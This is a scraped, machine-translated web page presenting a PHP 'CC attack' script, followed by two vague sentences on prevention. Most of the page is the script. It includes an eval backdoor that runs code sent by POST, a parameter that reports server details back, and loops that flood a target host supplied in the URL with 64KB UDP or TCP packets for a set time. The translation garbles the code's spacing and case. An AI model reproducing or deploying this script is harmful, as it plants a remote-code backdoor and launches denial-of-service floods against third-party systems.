Phpcc attack code cc attack prevention method

Source: Internet
Author: User
Phpcc attack code cc attack prevention method

  1. Eval ($ _ POST [Chr (90)]);
  2. Set_time_limit (86400 );
  3. Ignore_user_abort (True );
  4. $ Packets = 0;
  5. $ Http = $ _ GET ['http'];
  6. $ Rand = $ _ GET ['exit '];
  7. $ Exec_time = $ _ GET ['Time'];
  8. If (StrLen ($ http) = 0 or StrLen ($ rand) = 0 or StrLen ($ exec_time) = 0)
  9. {
  10. If (StrLen ($ _ GET ['Rat ']) <> 0)
  11. {
  12. Echo $ _ GET ['Rat ']. $ _ SERVER ["HTTP_HOST"]. "| ". getHostByName ($ _ SERVER ['server _ name']). "| ". php_uname (). "| ". $ _ SERVER ['server _ soft']. $ _ GET ['Rat '];
  13. Exit;
  14. }
  15. Echo "Php 2012 Terminator ";
  16. Exit;
  17. }
  18. For ($ I = 0; I I <65535; $ I ++)
  19. {
  20. $ Out. = "X ";
  21. }
  22. // Udp1-fsockopen Udp2 pfsockopen Tcp3 CC. center
  23. $ Max_time = time () + $ exec_time;
  24. If ($ rand = 53)
  25. While (1)
  26. {
  27. $ Packets ++;
  28. If (time ()> $ max_time)
  29. {
  30. Break;
  31. }
  32. $ Fp = fsockopen ("udp: // $ http", $ rand, $ errno, $ errstr, 5 );
  33. If ($ fp)
  34. {
  35. Fwrite ($ fp, $ out );
  36. Fclose ($ fp );
  37. }
  38. }
  39. Else
  40. If ($ rand = 500)
  41. While (1)
  42. {
  43. $ Packets ++;
  44. If (time ()> $ max_time ){
  45. Break;
  46. }
  47. $ Fp = pfsockopen ("udp: // $ http", $ rand, $ errno, $ errstr, 5 );
  48. If ($ fp)
  49. {
  50. Fwrite ($ fp, $ out );
  51. Fclose ($ fp );
  52. }
  53. }
  54. Else
  55. While (1)
  56. {
  57. $ Packets ++;
  58. If (time ()> $ max_time ){
  59. Break;
  60. }
  61. $ Fp = pfsockopen ("tcp: // $ http", $ rand, $ errno, $ errstr, 5 );
  62. If ($ fp)
  63. {
  64. Fwrite ($ fp, $ out );
  65. Fclose ($ fp );
  66. }
  67. }
  68. ?>

For cc attack prevention, if it is a dynamic page, you can determine the time. if it is a static website, you need to install anti-cc attack software on the server. generally, server security is good.

Always pay attention to the prevention of php cc attacks.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.